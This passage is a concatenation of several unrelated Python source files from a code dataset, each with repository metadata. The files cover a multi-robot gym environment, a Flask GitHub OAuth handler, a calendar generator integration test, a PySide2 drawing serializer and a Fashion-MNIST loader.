DynamicSphereObstacle\n'''\nclass steering():\n def right(v,r):\n \n def left(v,r):\n \n def straight(v, dist):\n''' \n\ndef initEnv(goal=False, obstacles=False, maps=0,): \n if maps == 1:\n result = []\n robots = [\n GenericUrdfReacher(urdf=\"pointRobot.urdf\", mode=\"vel\"),\n GenericUrdfReacher(urdf=\"pointRobot.urdf\", mode=\"vel\"),\n GenericUrdfReacher(urdf=\"pointRobot.urdf\", mode=\"vel\"),\n GenericUrdfReacher(urdf=\"pointRobot.urdf\", mode=\"vel\")\n ]\n \n m = len(robots)\n env = gym.make(\n \"urdf-env-v0\",\n dt=0.01, robots=robots, render=True\n )\n \n n = env.n() \n pos0 = np.zeros(n)\n pos0[1] = -0.0\n ns_per_robot = env.ns_per_robot()\n\n\n initialPositions = np.array(\n [\n (0,0,0), (0,0,1), (0,0,0), (0,0,np.deg2rad(90))\n ]\n ) \n \n \n mountPositions = np.array(\n [\n #(0,0,0), (-8,6,0), (8,-6,0), (-8,-8.75,0)\n (0,0,0), (-2,0,0), (-3,0,0), (-4,0,0)\n ]\n )\n env.reset(pos=initialPositions,mount_positions=mountPositions)\n\n #from env.gym_envs_urdf.steering import steeringInput\n\n from env.gym_envs_urdf.scene_objects.obstacles import (\n walls1,\n #boxes1,\n #obstacles1\n \n )\n\n for wall in walls1:\n env.add_shapes(shape_type=wall[0], dim=wall[1], poses_2d=wall[2])\n \n for i in range(len(walls1)):\n dimensions = walls1[i][1][0:2]\n coordinates = [coord[:2] for coord in walls1[i][2]]\n \n result.append([[coordinates[0], coordinates[1], dimensions[0], dimensions[1]] for coordinates in coordinates])\n \n obstacles = list(itertools.chain(*result))\n\n \n ''' \n for box in boxes1:\n env.add_shapes(shape_type=box[0], dim=box[1],mass =box[2], poses_2d=box[3] , place_height =box[4])\n \n for obstacle in obstacles1:\n env.add_obstacle(obstacle)\n \n '''\n else:\n pass\n\n \n\n # Set goal to follow\n if goal:\n from env.gym_envs_urdf.scene_objects.goal import dynamicGoal\n\n env.add_goal(dynamicGoal)\n \n if obstacles:\n from env.gym_envs_urdf.scene_objects.obstacles import (\n sphereObst1,\n sphereObst2,\n urdfObst1,\n dynamicSphereObst3,\n )\n\n env.add_obstacle(sphereObst1)\n env.add_obstacle(sphereObst2)\n env.add_obstacle(urdfObst1)\n env.add_obstacle(dynamicSphereObst3)\n \n return env , m, mountPositions[:,:2], obstacles, initialPositions[:,2]+np.deg2rad(90)#, #, steeringInput\n \n\ndef robotMain(pos, vel, current_orientations, omega, otherRobots, env, render=False, dt=0.01):\n # Extract position and orientation from the inputs\n x = pos[0][0]\n y = pos[0][1]\n theta = current_orientations[0]\n # Calculate the velocity vector in the original orientation\n v_vector = np.array([vel, 0])\n \n # Create a rotation matrix to rotate the velocity vector\n rotation_matrix = np.array([[np.cos(theta), -np.sin(theta)],\n [np.sin(theta), np.cos(theta)]])\n # Rotate the velocity vector\n v_rotated = rotation_matrix @ v_vector\n \n # Calculate the new position and orientation\n x_new = x + v_rotated[0] * dt\n y_new = y + v_rotated[1] * dt\n theta_new = theta + omega * dt\n \n # Create the new position and orientation arrays\n pos_new = np.array([[x_new, y_new]])\n orientation_new = np.array([theta_new])\n \n # Create the action array for the current robot\n action_new = np.append(v_rotated, omega)\n \n # Create an action array for the other robots\n action_other_bots = np.zeros(9)\n \n # Concatenate the action arrays for all robots\n action_new = np.concatenate((action_new, action_other_bots))\n vel_new = np.array([vel])\n \n # Step the environment and return the new position, velocity, and orientation\n ob, _, _, _ = env.step(action_new)\n return pos_new, vel_new, orientation_new\n\n", "repo_name": "WillemMomma/Planning_and_decision_making", "sub_path": "env/holonomic_robot_main 2.py", "file_name": "holonomic_robot_main 2.py", "file_ext": "py", "file_size_in_byte": 4411, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "urdfenvs.robots.generic_urdf.GenericUrdfReacher", "line_number": 19, "usage_type": "call"}, {"api_name": "urdfenvs.robots.generic_urdf.GenericUrdfReacher", "line_number": 20, "usage_type": "call"}, {"api_name": "urdfenvs.robots.generic_urdf.GenericUrdfReacher", "line_number": 21, "usage_type": "call"}, {"api_name": "urdfenvs.robots.generic_urdf.GenericUrdfReacher", "line_number": 22, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.deg2rad", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.walls1", "line_number": 61, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.add_shapes", "line_number": 62, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 62, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.walls1", "line_number": 64, "usage_type": "argument"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.walls1", "line_number": 65, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.walls1", "line_number": 66, "usage_type": "name"}, {"api_name": "itertools.chain", "line_number": 70, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.add_goal", "line_number": 90, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.goal.dynamicGoal", "line_number": 90, "usage_type": "argument"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 90, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.add_obstacle", "line_number": 100, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.sphereObst1", "line_number": 100, "usage_type": "argument"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 100, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.add_obstacle", "line_number": 101, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.sphereObst2", "line_number": 101, "usage_type": "argument"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 101, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.add_obstacle", "line_number": 102, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.urdfObst1", "line_number": 102, "usage_type": "argument"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 102, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.add_obstacle", "line_number": 103, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.dynamicSphereObst3", "line_number": 103, "usage_type": "argument"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 103, "usage_type": "name"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.deg2rad", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 139, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles.step", "line_number": 142, "usage_type": "call"}, {"api_name": "env.gym_envs_urdf.scene_objects.obstacles", "line_number": 142, "usage_type": "name"}]} {"seq_id": "2019438789", "text": "from core.social_auth.oauth import oauth\nfrom core.social_auth.constants import GITHUB_USERINFO_URL, GITHUB_EMAIL_URL\nfrom werkzeug.exceptions import Unauthorized, BadRequest, InternalServerError\nfrom requests.exceptions import RequestException\nfrom authlib.integrations.flask_client import OAuthError\nfrom flask import request\n\n\nclass GithubAuth:\n NAME = \"github\"\n\n def __init__(self):\n self.client = oauth.create_client(\"github\")\n if not self.client:\n raise BadRequest(\"Github is not register for oauth in the backend.\")\n\n def get_mail(self):\n try:\n response = self.client.get(GITHUB_EMAIL_URL)\n except RequestException as e:\n raise InternalServerError(f\"Server failed to fetch detailed from {GITHUB_USERINFO_URL}\")\n\n data = response.json()\n if response.status_code == 401:\n raise Unauthorized(data)\n elif response.status_code != 200:\n raise BadRequest(data)\n return next((item['email'] for item in data if item['primary']), None)\n\n def get_data(self):\n \"\"\"\n This function fetches the data from github API.\n Parameter\n ---------\n Return\n ------\n data: dict\n \"\"\"\n token = request.get_json(force=True, silent=True).get('token')\n if not token:\n raise BadRequest(\"The Token is not provided.\")\n\n self.client.token = token\n\n data = token.get('userinfo')\n if not data:\n try:\n response = self.client.get(GITHUB_USERINFO_URL, params={'skip_status': True})\n except RequestException as e:\n raise InternalServerError(f\"Server failed to fetch detailed from {GITHUB_USERINFO_URL}\")\n except OAuthError as error:\n raise InternalServerError(f\"Server failed to fetch detailed from {GITHUB_USERINFO_URL}, errors: {error.error}\")\n data = response.json()\n if response.status_code == 401:\n raise Unauthorized(data)\n elif response.status_code != 200:\n raise BadRequest(data)\n\n if not data.get('email'):\n data['email'] = self.get_mail()\n\n return data\n\n def auth(self):\n \"\"\"\n This function handles social logins for github.\n Parameter\n ---------\n Return\n ------\n \"\"\"\n return self.get_data()\n", "repo_name": "Azhar-inexture-1/flask_restful_practice", "sub_path": "core/social_auth/github/services.py", "file_name": "services.py", "file_ext": "py", "file_size_in_byte": 2426, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "core.social_auth.oauth.oauth.create_client", "line_number": 13, "usage_type": "call"}, {"api_name": "core.social_auth.oauth.oauth", "line_number": 13, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.BadRequest", "line_number": 15, "usage_type": "call"}, {"api_name": "core.social_auth.constants.GITHUB_EMAIL_URL", "line_number": 19, "usage_type": "argument"}, {"api_name": "requests.exceptions.RequestException", "line_number": 20, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.InternalServerError", "line_number": 21, "usage_type": "call"}, {"api_name": "core.social_auth.constants.GITHUB_USERINFO_URL", "line_number": 21, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.Unauthorized", "line_number": 25, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.BadRequest", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.BadRequest", "line_number": 41, "usage_type": "call"}, {"api_name": "core.social_auth.constants.GITHUB_USERINFO_URL", "line_number": 48, "usage_type": "argument"}, {"api_name": "requests.exceptions.RequestException", "line_number": 49, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.InternalServerError", "line_number": 50, "usage_type": "call"}, {"api_name": "core.social_auth.constants.GITHUB_USERINFO_URL", "line_number": 50, "usage_type": "name"}, {"api_name": "authlib.integrations.flask_client.OAuthError", "line_number": 51, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.InternalServerError", "line_number": 52, "usage_type": "call"}, {"api_name": "core.social_auth.constants.GITHUB_USERINFO_URL", "line_number": 52, "usage_type": "name"}, {"api_name": "werkzeug.exceptions.Unauthorized", "line_number": 55, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.BadRequest", "line_number": 57, "usage_type": "call"}]} {"seq_id": "10320789463", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*\n\n\"\"\"Integration test for `cycle_calendar_generator` package.\"\"\"\n\nimport unittest\nimport os\nimport sys\nimport shutil\nimport subprocess\nfrom pathlib import Path\nimport datetime\n\nfrom cycle_calendar_generator import cycle_calendar_generator\n\nimport ics\nimport arrow\n\nCURRENT_WORKING_DIRECTORY = os.path.dirname(os.path.realpath(__file__))\nINTEGRATION_TEST_FOLDER = os.path.join(\n CURRENT_WORKING_DIRECTORY,\n 'integration_test'\n )\nTEST_FILES_FOLDER = os.path.join(INTEGRATION_TEST_FOLDER, 'testing_files')\nTEST_EXPECTED_OUTPUT_FOLDER = os.path.join(INTEGRATION_TEST_FOLDER, 'expected')\nTEST_TEMP_FOLDER = os.path.join(INTEGRATION_TEST_FOLDER, 'temp')\nTEST_OUTPUT_FOLDER = os.path.join(TEST_TEMP_FOLDER, 'output')\nSCRIPT_NAME = 'cycle_calendar_generator'\n\n\nclass Test_integration(unittest.TestCase):\n \"\"\"Tests function to get folder argument and give default if none given\"\"\"\n\n @classmethod\n def setUpClass(cls):\n if (not os.path.exists(TEST_EXPECTED_OUTPUT_FOLDER)):\n os.mkdir(TEST_EXPECTED_OUTPUT_FOLDER)\n if (not os.path.exists(TEST_TEMP_FOLDER)):\n os.mkdir(TEST_TEMP_FOLDER)\n\n def setUp(self):\n # copy test input files from TEST_FILES_FOLDER to TEST_TEMP_FOLDER\n for file in cycle_calendar_generator.scandir_with_version_check(\n TEST_FILES_FOLDER,\n cycle_calendar_generator.VERSION_MAJOR,\n cycle_calendar_generator.VERSION_MINOR):\n source_path = file.path\n dest_path = os.path.join(TEST_TEMP_FOLDER, file.name)\n shutil.copy(source_path, dest_path)\n\n def tearDown(self):\n # delete all files and folders in TEST_TEMP_FOLDER\n for file in cycle_calendar_generator.scandir_with_version_check(\n TEST_TEMP_FOLDER,\n cycle_calendar_generator.VERSION_MAJOR,\n cycle_calendar_generator.VERSION_MINOR):\n if file.is_dir():\n shutil.rmtree(file.path)\n else:\n os.remove(file.path)\n\n def test_script_works_in_normal_case(self):\n # run script\n exit_code = subprocess.run(['python3', '-m',\n SCRIPT_NAME, TEST_TEMP_FOLDER])\n # read output icals into dictionary (user name as key)\n output_files = {}\n for file in cycle_calendar_generator.scandir_with_version_check(\n TEST_OUTPUT_FOLDER,\n cycle_calendar_generator.VERSION_MAJOR,\n cycle_calendar_generator.VERSION_MINOR):\n if file.is_file():\n path, filename = os.path.split(file.path)\n user_name = os.path.splitext(filename)[0]\n with open(file.path) as ical:\n calendar = ics.Calendar(ical.read())\n sorted_events = sorted(calendar.events,\n key=lambda event:event.begin)\n output_files[user_name] = sorted_events\n # read expected output icals into similar dictionary\n expected_files = {}\n for file in cycle_calendar_generator.scandir_with_version_check(\n TEST_EXPECTED_OUTPUT_FOLDER,\n cycle_calendar_generator.VERSION_MAJOR,\n cycle_calendar_generator.VERSION_MINOR):\n if file.is_file():\n path, filename = os.path.split(file.path)\n user_name = os.path.splitext(filename)[0]\n with open(file.path) as ical:\n calendar = ics.Calendar(ical.read())\n sorted_events = sorted(calendar.events,\n key=lambda event:event.begin)\n expected_files[user_name] = sorted_events\n # assert both dicts have same size\n self.assertEqual(len(output_files), len(expected_files))\n # assert each key in output has matching in expected\n for key in output_files.keys():\n self.assertTrue(key in expected_files)\n # assert values from matching keys are the same\n output_events = output_files[key]\n expected_events = expected_files[key]\n for i in range(len(output_events)):\n output_event = output_events[i]\n expected_event = expected_events[i]\n self.assertEqual(output_event.name, expected_event.name)\n # Output times already use local timezone,\n # but expected times use tz in iCal file (China Std. Time)\n # Expected times need to have tz replaced with local tz\n # without changing anything else\n output_event_start = output_event.begin.to('utc')\n expected_event_start = expected_event.begin.replace(\n tzinfo=cycle_calendar_generator.LOCAL_TIMEZONE\n ).to('utc')\n output_event_end = output_event.end.to('utc')\n expected_event_end = expected_event.end.replace(\n tzinfo=cycle_calendar_generator.LOCAL_TIMEZONE\n ).to('utc')\n self.assertEqual(output_event_start, expected_event_start)\n self.assertEqual(output_event_end, expected_event_end)\n", "repo_name": "ROldford/cycle_calendar_generator", "sub_path": "tests/test_integration.py", "file_name": "test_integration.py", "file_ext": "py", "file_size_in_byte": 5247, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 39, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.scandir_with_version_check", "line_number": 43, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 43, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MAJOR", "line_number": 45, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 45, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MINOR", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 46, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "shutil.copy", "line_number": 49, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.scandir_with_version_check", "line_number": 53, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 53, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MAJOR", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 55, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MINOR", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 56, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 58, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 60, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 64, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.scandir_with_version_check", "line_number": 68, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 68, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MAJOR", "line_number": 70, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 70, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MINOR", "line_number": 71, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 71, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "ics.Calendar", "line_number": 76, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.scandir_with_version_check", "line_number": 82, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 82, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MAJOR", "line_number": 84, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 84, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.VERSION_MINOR", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 85, "usage_type": "name"}, {"api_name": "os.path.split", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "ics.Calendar", "line_number": 90, "usage_type": "call"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.LOCAL_TIMEZONE", "line_number": 112, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 112, "usage_type": "name"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator.LOCAL_TIMEZONE", "line_number": 116, "usage_type": "attribute"}, {"api_name": "cycle_calendar_generator.cycle_calendar_generator", "line_number": 116, "usage_type": "name"}]} {"seq_id": "27518010570", "text": "from PySide2 import QtCore, QtGui\n\nfrom countdata import CountData\n\n\nclass DrawingData:\n def __init__(self, name: str, geom, pen: QtGui.QPen, countData=CountData()):\n \"\"\"\n Minimum objects required to re-create an item\n drawn in a scene.\n\n Need name of item (Rect, Ellipse, Line)\n Need geometry of item (QRectF, QLine),\n and the pen used to draw the item.\n\n The count data is also included.\n \"\"\"\n self.name = name\n self.geom = geom\n self.pen = pen\n self.countData = countData\n\n @property\n def args(self):\n \"\"\"\n Arguments necessary to recreate the graphical\n geometry.\n \"\"\"\n if self.name == \"Rect\":\n rect = self.geom\n args = [rect.x(), rect.y(), rect.width(), rect.height()]\n\n elif self.name == \"Ellipse\":\n rect = self.geom\n args = [rect.x(), rect.y(), rect.width(), rect.height()]\n\n elif self.name == \"Line\":\n line = self.geom\n args = [line.x1(), line.y1(), line.x2(), line.y2()]\n\n return args\n\n @property\n def penColor(self):\n \"\"\"\n Pen color in #RRGGBB format\n \"\"\"\n return self.pen.color().name()\n\n @property\n def penWidth(self):\n \"\"\"\n Pen width as an integer\n \"\"\"\n return self.pen.width()\n\n @property\n def center(self):\n \"\"\"\n Center QPointF of the geometry\n \"\"\"\n return self.geom.center()\n\n def toDict(self):\n \"\"\"\n Returns this drawing data as a serializable dict\n \"\"\"\n\n return {\n \"Name\": self.name,\n \"Args\": self.args,\n \"PenColor\": self.penColor,\n \"PenWidth\": self.penWidth,\n \"CountData\": self.countData.toDict(),\n }\n\n @staticmethod\n def fromDict(d):\n \"\"\"\n Initializes object from a dict (ideally, a dict previously created with `toDict`)\n \"\"\"\n\n # Extract data\n name = d[\"Name\"]\n args = d[\"Args\"]\n penColor = d[\"PenColor\"]\n penWidth = d[\"PenWidth\"]\n countData = d[\"CountData\"]\n\n # Setup pen\n pen = QtGui.QPen(penColor) # Does this color need to be a QColor?\n pen.setWidth(penWidth)\n\n if name == \"Rect\":\n geom = QtCore.QRectF(*args)\n elif name == \"Ellipse\":\n geom = QtCore.QRectF(*args)\n elif name == \"Line\":\n geom = QtCore.QLineF(*args)\n else:\n raise ValueError(f\"Unrecognized geometry name: {name}\")\n\n return DrawingData(name, geom, pen, CountData.fromDict(countData))\n\n def offset(self, x, y):\n \"\"\"\n Offset the geometry of this point by a given\n x and y value.\n \"\"\"\n self.geom.translate(QtCore.QPointF(x, y))\n\n def scale(self, sf):\n \"\"\"\n Scales the geometry of this point by a\n scale factor.\n \"\"\"\n if self.name in (\"Rect\", \"Ellipse\"):\n x = self.geom.x() * sf\n y = self.geom.y() * sf\n width = self.geom.width() * sf\n height = self.geom.height() * sf\n self.geom.setRect(x, y, width, height)\n\n elif self.name in \"Line\":\n x1 = self.geom.x1() * sf\n y1 = self.geom.y1() * sf\n x2 = self.geom.x2() * sf\n y2 = self.geom.y2() * sf\n self.geom.setP1(QtCore.QPointF(x1, y1))\n self.geom.setP2(QtCore.QPointF(x2, y2))\n\n self.pen.setWidth(self.pen.width() * sf)\n", "repo_name": "nprezant/ImageWAO", "sub_path": "src/main/python/drawingdata/drawingdata.py", "file_name": "drawingdata.py", "file_ext": "py", "file_size_in_byte": 3541, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PySide2.QtGui.QPen", "line_number": 7, "usage_type": "attribute"}, {"api_name": "PySide2.QtGui", "line_number": 7, "usage_type": "name"}, {"api_name": "countdata.CountData", "line_number": 7, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QPen", "line_number": 91, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 91, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QRectF", "line_number": 95, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 95, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QRectF", "line_number": 97, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 97, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QLineF", "line_number": 99, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 99, "usage_type": "name"}, {"api_name": "countdata.CountData.fromDict", "line_number": 103, "usage_type": "call"}, {"api_name": "countdata.CountData", "line_number": 103, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QPointF", "line_number": 110, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 110, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QPointF", "line_number": 129, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 129, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QPointF", "line_number": 130, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 130, "usage_type": "name"}]} {"seq_id": "5947344328", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 21 18:43:37 2019\n\n@author: zhanghuangzhao\n\"\"\"\n\nimport numpy\nimport random\nfrom mnist import MNIST\n\nclass dataset(object):\n\n def __init__(self, x, y):\n\n self.__x = numpy.asarray(x).reshape((-1, 28, 28, 1))\n self.__y = numpy.asarray(y)\n self.size = self.__x.shape[0]\n self.__idx = []\n self.__shuffle()\n self.images = self.__x\n self.labels = self.__y\n\n def __shuffle(self):\n\n self.__idx = random.sample(range(self.size), self.size)\n\n def reset_epoch(self):\n\n self.__shuffle()\n\n def next_batch(self, batch_size, dtype=numpy.float32):\n\n if len(self.__idx) < batch_size:\n self.__shuffle()\n assert batch_size <= self.size, \\\n \"Batch size %d is larger than dataset size %d\" % (batch_size, self.size)\n\n idx = self.__idx[:batch_size]\n self.__idx = self.__idx[batch_size:]\n x, y = ([], [])\n for i in idx:\n x.append(self.__x[i])\n y.append([0, 0, 0, 0, 0, 0, 0, 0, 0, 0])\n y[-1][self.__y[i]] = 1\n return numpy.asarray(x, dtype=dtype), numpy.asarray(y, dtype=dtype)\n\nclass Fashion_MNIST(object):\n\n def __init__(self, validation_size=10000, data_dir=\"../data\"):\n\n fmnist = MNIST(data_dir, return_type=\"lists\")\n train = fmnist.load_training()\n test = fmnist.load_testing()\n\n assert validation_size >= 0 and validation_size <= len(train[0]), \\\n \"Invalid validattion ratio %.3f, should be within 0 to %d\" \\\n % (validation_size, len(train[0]))\n\n idx = random.sample(range(len(train[0])), len(train[0]))\n tr, va = ([[], []], [[], []])\n for i in idx[:validation_size]:\n va[1].append(train[1][i])\n va[0].append(train[0][i])\n for i in idx[validation_size:]:\n tr[1].append(train[1][i])\n tr[0].append(train[0][i])\n self.train = dataset(tr[0], tr[1])\n self.valid = dataset(va[0], va[1])\n self.test = dataset(test[0], test[1])\n\n self.__label_dict = [\"t-shirt/top\", \"trouser\", \"pullover\", \"dress\",\n \"coat\", \"sandal\", \"shirt\", \"sneaker\", \"bag\",\n \"ankle boot\"]\n\n def get_label(self, label_idx):\n\n return self.__label_dict[label_idx]\n\n def get_labels(self):\n\n return self.__label_dict\n\nif __name__ == \"__main__\":\n\n fmnist = Fashion_MNIST()\n\n try:\n import matplotlib.pyplot as plt\n for i in range(10):\n x, y = fmnist.train.next_batch(1)\n while not numpy.argmax(y) == i:\n x, y = fmnist.train.next_batch(1)\n plt.imshow(x.reshape([28, 28]))\n plt.imsave(\"../images/fmnist_%d.jpg\"%i, x.reshape([28, 28]))\n except Exception as e:\n print(e)", "repo_name": "GaomingOrion/dl_hw", "sub_path": "dl_hw2/code/fmnist_dataset.py", "file_name": "fmnist_dataset.py", "file_ext": "py", "file_size_in_byte": 2868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.asarray", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 18, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 47, "usage_type": "call"}, {"api_name": "mnist.MNIST", "line_number": 53, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 61, "usage_type": "call"}, {"api_name": 